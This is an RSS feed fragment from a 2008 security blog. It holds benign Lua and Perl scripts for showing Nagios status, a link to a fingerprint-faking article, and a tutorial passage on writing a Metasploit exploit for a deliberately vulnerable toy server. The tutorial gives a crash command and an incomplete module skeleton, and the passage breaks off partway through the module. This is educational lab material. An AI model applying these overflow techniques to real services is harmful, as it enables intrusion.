   &lt;span class="n"&gt;socket&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;http&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;TIMEOUT&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;
   &lt;span class="kd"&gt;local&lt;/span&gt; &lt;span class="n"&gt;errstr&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="s"&gt; ERROR while reading data&amp;quot;&lt;/span&gt;
   &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;n&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;url&lt;/span&gt; &lt;span class="k"&gt;in&lt;/span&gt; &lt;span class="nb"&gt;pairs&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;settings&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;urls&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt;
      &lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;h&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;http&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;url&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
      &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;200&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;then&lt;/span&gt;
         &lt;span class="nb"&gt;error&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;
         &lt;span class="n"&gt;errstr&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;errstr&lt;/span&gt; &lt;span class="o"&gt;..&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="s"&gt; (NET &amp;quot;&lt;/span&gt; &lt;span class="o"&gt;..&lt;/span&gt; &lt;span class="nb"&gt;tostring&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;..&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="s"&gt;)&amp;quot;&lt;/span&gt;
      &lt;span class="k"&gt;else&lt;/span&gt;
         &lt;span class="kd"&gt;local&lt;/span&gt; &lt;span class="n"&gt;st&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;err&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;pcall&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;parse&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
         &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;st&lt;/span&gt; &lt;span class="k"&gt;then&lt;/span&gt;
            &lt;span class="nb"&gt;error&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;
            &lt;span class="n"&gt;errstr&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;errstr&lt;/span&gt; &lt;span class="o"&gt;..&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="s"&gt; (XML&amp;quot;&lt;/span&gt; &lt;span class="o"&gt;..&lt;/span&gt; &lt;span class="n"&gt;err&lt;/span&gt; &lt;span class="o"&gt;..&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="s"&gt;)&amp;quot;&lt;/span&gt;
         &lt;span class="k"&gt;end&lt;/span&gt;
      &lt;span class="k"&gt;end&lt;/span&gt;
   &lt;span class="k"&gt;end&lt;/span&gt;

   &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="nb"&gt;error&lt;/span&gt; &lt;span class="k"&gt;then&lt;/span&gt;
      &lt;span class="n"&gt;errstr&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;&lt;/span&gt;
   &lt;span class="k"&gt;end&lt;/span&gt;
   &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="s"&gt;OK: &amp;quot;&lt;/span&gt; &lt;span class="o"&gt;..&lt;/span&gt; &lt;span class="nb"&gt;tostring&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;status&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
      &lt;span class="o"&gt;..&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="s"&gt;, WARN: &amp;quot;&lt;/span&gt; &lt;span class="o"&gt;..&lt;/span&gt; &lt;span class="nb"&gt;tostring&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;status&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
      &lt;span class="o"&gt;..&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="s"&gt;, ERROR: &amp;quot;&lt;/span&gt; &lt;span class="o"&gt;..&lt;/span&gt; &lt;span class="nb"&gt;tostring&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;status&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
      &lt;span class="o"&gt;..&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="s"&gt;, UNKN: &amp;quot;&lt;/span&gt; &lt;span class="o"&gt;..&lt;/span&gt; &lt;span class="nb"&gt;tostring&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;status&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
      &lt;span class="o"&gt;..&lt;/span&gt; &lt;span class="n"&gt;errstr&lt;/span&gt;
&lt;span class="k"&gt;end&lt;/span&gt;

&lt;span class="kd"&gt;local&lt;/span&gt; &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;update_nginfo&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
   &lt;span class="n"&gt;statusd&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;inform&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="s"&gt;nginfo&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;get_nginfo&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
   &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;status&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt; &lt;span class="ow"&gt;or&lt;/span&gt; &lt;span class="n"&gt;status&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;then&lt;/span&gt;
      &lt;span class="n"&gt;statusd&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;inform&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="s"&gt;nginfo_hint&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="s"&gt;critical&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
   &lt;span class="k"&gt;elseif&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;status&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;then&lt;/span&gt;
      &lt;span class="n"&gt;statusd&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;inform&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="s"&gt;nginfo_hint&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="s"&gt;important&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
   &lt;span class="k"&gt;else&lt;/span&gt;
      &lt;span class="n"&gt;statusd&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;inform&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="s"&gt;nginfo_hint&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="s"&gt;normal&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
   &lt;span class="k"&gt;end&lt;/span&gt;
   &lt;span class="n"&gt;ng_timer&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;set&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;settings&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;update_interval&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;update_nginfo&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;end&lt;/span&gt;

&lt;span class="c1"&gt;-- Init&lt;/span&gt;
&lt;span class="n"&gt;ng_timer&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;statusd&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;create_timer&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="n"&gt;update_nginfo&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;This nginfo.pl script needs to be installed on nagios servers :&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;nginfo.pl&lt;/strong&gt; (&lt;a class="reference external" href="http://redstack.net/blog/wp-content/uploads/2008/05/nginfo.pl"&gt;Download nginfo.pl&lt;/a&gt;)&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span class="c1"&gt;#!/usr/bin/perl&lt;/span&gt;

&lt;span class="k"&gt;use&lt;/span&gt; &lt;span class="nn"&gt;Nagios::&lt;/span&gt;&lt;span class="n"&gt;StatusLog&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="k"&gt;my&lt;/span&gt; &lt;span class="nv"&gt;$log&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nn"&gt;Nagios::&lt;/span&gt;&lt;span class="n"&gt;StatusLog&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
&lt;span class="n"&gt;Filename&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;/var/cache/nagios2/status.dat&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="n"&gt;Version&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="mf"&gt;2.0&lt;/span&gt;
&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="k"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Content-type: text/xml\n\n&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="k"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="k"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;\n&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="k"&gt;foreach&lt;/span&gt; &lt;span class="k"&gt;my&lt;/span&gt; &lt;span class="nv"&gt;$host&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$log&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;list_hosts&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;\n$host\n&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

        &lt;span class="k"&gt;foreach&lt;/span&gt; &lt;span class="k"&gt;my&lt;/span&gt; &lt;span class="nv"&gt;$serv&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$log&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;list_services_on_host&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$host&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
                &lt;span class="k"&gt;print&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;\n&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
                &lt;span class="k"&gt;print&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;ref&lt;/span&gt; &lt;span class="nv"&gt;$serv&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
                &lt;span class="k"&gt;my&lt;/span&gt; &lt;span class="nv"&gt;$st&lt;/span&gt;  &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$log&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;service&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$host&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$serv&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
                &lt;span class="k"&gt;foreach&lt;/span&gt; &lt;span class="nv"&gt;$tag&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$st&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;list_tags&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
                        &lt;span class="k"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;&amp;lt;$tag&amp;gt;$$st{$tag}\n&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
                &lt;span class="p"&gt;}&lt;/span&gt;
                &lt;span class="k"&gt;print&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;\n&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;
        &lt;span class="k"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;\n\n&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="k"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Information on installing lua scipts for ion3 can be found &lt;a class="reference external" href="http://modeemi.fi/~tuomov/repos/ion-scripts-3/#using"&gt;here&lt;/a&gt;&lt;/p&gt;
</description><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">xipe</dc:creator><pubDate>Thu, 08 May 2008 21:54:00 +0200</pubDate><guid>http://redstck.net/blog//nagios-status-report-in-ion3-statusbar.html</guid></item><item><title>Faking fingerprints</title><link>http://redstck.net/blog//faking-fingerprints.html</link><description>&lt;p&gt;I just discovered this very cool article about faking fingerprints: &lt;a class="reference external" href="http://www.ccc.de/biometrie/fingerabdruck_kopieren.xml?language=en"&gt;How to fake fingerprints?&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;I love CCC :)&lt;/p&gt;
</description><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">xipe</dc:creator><pubDate>Wed, 02 Apr 2008 11:57:00 +0200</pubDate><guid>http://redstck.net/blog//faking-fingerprints.html</guid></item><item><title>Writing exploits for Metasploit 3.0</title><link>http://redstck.net/blog//writing-exploits-for-metasploit-30.html</link><description>&lt;p&gt;This article is about writing exploit using the &lt;a class="reference external" href="http://www.metasploit.com"&gt;Metasploit Framework&lt;/a&gt;,
for very secure software: bof-server ;)&lt;/p&gt;
&lt;p&gt;Bof-server has been written especially to be exploited during this
article, and as you already guessed by looking at it's name, we will
exploit a stack overflow bug. You can find bof-server here:&lt;/p&gt;
&lt;blockquote&gt;
&lt;div class="line-block"&gt;
&lt;div class="line"&gt;&lt;a class="reference external" href="http://redstack.net/blog/wp-content/uploads/2008/01/bof-server.c"&gt;bof-server source code&lt;/a&gt;&lt;/div&gt;
&lt;div class="line"&gt;&lt;a class="reference external" href="http://redstack.net/blog/wp-content/uploads/2008/01/bof-server.exe"&gt;bof-server binary for Windows&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Before starting I would like to say that I am not a Metasploit expert, so feel free to correct me if something is not done the right way.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;div class="section" id="bof-server"&gt;
&lt;h2&gt;Bof-server&lt;/h2&gt;
&lt;p&gt;First of all, lets see how bof-server works. To start it on port 4242
use the command below:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span class="gp"&gt;&amp;gt;&lt;/span&gt; bof-server.exe 4242
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;The bof-server implements 2 commands : version and quit. Here is a
typical usage of this highly critical application :) :&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span class="gp"&gt;&amp;gt;&lt;/span&gt; telnet localhost 4242
&lt;span class="gp"&gt;&amp;gt;&lt;/span&gt; version
&lt;span class="go"&gt;bof-server v0.01&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&lt;/span&gt; quit
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class="section" id="bof-server-s-bug"&gt;
&lt;h2&gt;Bof-server's bug&lt;/h2&gt;
&lt;p&gt;Our bof-server permits remote code execution due to a stack based
buffer overflow introduced by the getl(int fd, char *s) function.&lt;/p&gt;
&lt;blockquote&gt;
If you need more informations regarding stack based overflows you can read this famous article from Aleph1 &lt;a class="reference external" href="http://www.phrack.org/issues.html?issue=49&amp;amp;id=14#article"&gt;Smashing the stack for fun and profit&lt;/a&gt; .&lt;/blockquote&gt;
&lt;p&gt;By passing long lines to bof-server, we will crash it :&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span class="gp"&gt;&amp;gt;&lt;/span&gt; perl -e &lt;span class="s2"&gt;&amp;quot;print &amp;#39;A&amp;#39;x1024&amp;quot;&lt;/span&gt; | nc localhost 4242
&lt;span class="gp"&gt;&amp;gt;&lt;/span&gt; telnet localhost 4242
&lt;span class="go"&gt;Connecting To localhost...Could not open connection to the host, on port 4242: Connect failed&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class="section" id="exploitation-using-metasploit"&gt;
&lt;h2&gt;Exploitation using Metasploit&lt;/h2&gt;
&lt;p&gt;Now comes the interesting things ... :)&lt;/p&gt;
&lt;p&gt;To make a metasploit exploit module, the easiest way to start is to
create &lt;em&gt;myexploit.rb&lt;/em&gt; in the &lt;em&gt;modules/exploits/os/type/&lt;/em&gt; metasploit
subdirectory.&lt;/p&gt;
&lt;p&gt;In our case, we will create
&lt;em&gt;modules/exploits/windows/dummy/bof-server.rb&lt;/em&gt; containing this code:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span class="nb"&gt;require&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;msf/core&amp;#39;&lt;/span&gt;
&lt;span class="k"&gt;module&lt;/span&gt; &lt;span class="nn"&gt;Msf&lt;/span&gt;
  &lt;span class="c1"&gt;# class name should reflect directories&lt;/span&gt;
  &lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;Exploits&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="no"&gt;Windows&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="no"&gt;Dummy&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="no"&gt;BofServer&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="no"&gt;Msf&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="no"&gt;Exploit&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="no"&gt;Remote&lt;/span&gt;
    &lt;span class="kp"&gt;include&lt;/span&gt; &lt;span class="no"&gt;Exploit&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="no"&gt;Remote&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="no"&gt;Tcp&lt;/span&gt;

    &lt;span class="c1"&gt;# exploit relative informations&lt;/span&gt;
    &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;initialize&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;info&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{})&lt;/span&gt;
      &lt;span class="k"&gt;super&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;update_info&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;info&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                        &lt;span class="s1"&gt;&amp;#39;Name&amp;#39;&lt;/span&gt;           &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;bof-server exploit&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                        &lt;span class="s1"&gt;&amp;#39;Description&amp;#39;&lt;/span&gt;    &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;This is an exploit for bof-server v0.01&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                        &lt;span class="s1"&gt;&amp;#39;Author&amp;#39;&lt;/span&gt;         &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;xipe&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="c1"&gt;# You ;)&lt;/span&gt;
                        &lt;span class="s1"&gt;&amp;#39;Version&amp;#39;&lt;/span&gt;        &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;1.0&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                        &lt;span class="s1"&gt;&amp;#39;Payload&amp;#39;&lt;/span&gt;        &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;
                        &lt;span class="p"&gt;{&lt;/span&gt;
                          &lt;span class="s1"&gt;&amp;#39;Space&amp;#39;&lt;/span&gt;    &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;1024&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="c1"&gt;# Space that payload can use.&lt;/span&gt;
                                              &lt;span class="c1"&gt;# We don&amp;#39;t know yet&lt;/span&gt;
                          &lt;span class="s1"&gt;&amp;#39;BadChars&amp;#39;&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="se"&gt;\x00&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="c1"&gt;# Chars that payloads should not&lt;/span&gt;
                                                &lt;span class="c1"&gt;# contains. We don&amp;#39;t know yet&lt;/span&gt;
                        &lt;span class="p"&gt;},&lt;/span&gt;
                        &lt;span class="s1"&gt;&amp;#39;Platform&amp;#39;&lt;/span&gt;   &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;win&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                        &lt;span class="s1"&gt;&amp;#39;Targets&amp;#39;&lt;/span&gt;    &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;
                        &lt;span class="o"&gt;[&lt;/span&gt;
                         &lt;span class="o"&gt;[&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;Windows XP SP2 English&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                             &lt;span class="p"&gt;{&lt;/span&gt;
                               &lt;span class="s1"&gt;&amp;#39;Platform&amp;#39;&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;win&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                               &lt;span class="s1"&gt;&amp;#39;Ret&amp;#39;&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="mh"&gt;0xaaaaaaaa&lt;/span&gt; &lt;span class="c1"&gt;# Return address. We don&amp;#39;t know yet&lt;/span&gt;
                             &lt;span class="p"&gt;}&lt;/span&gt;
                          &lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                        &lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                        &lt;span class="s1"&gt;&amp;#39;DefaultTarget&amp;#39;&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
    &lt;span class="k"&gt;end&lt;/span&gt;

    &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;check&lt;/span&gt;
      &lt;span class="c1"&gt;# Here we should check if the target is vulnerable&lt;/span&gt;
      &lt;span class="c1"&gt;# This function should not crash the target&lt;/span&gt;
    &lt;span class="k"&gt;end&lt;/span&gt;

    &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;exploit&lt;/span&gt;
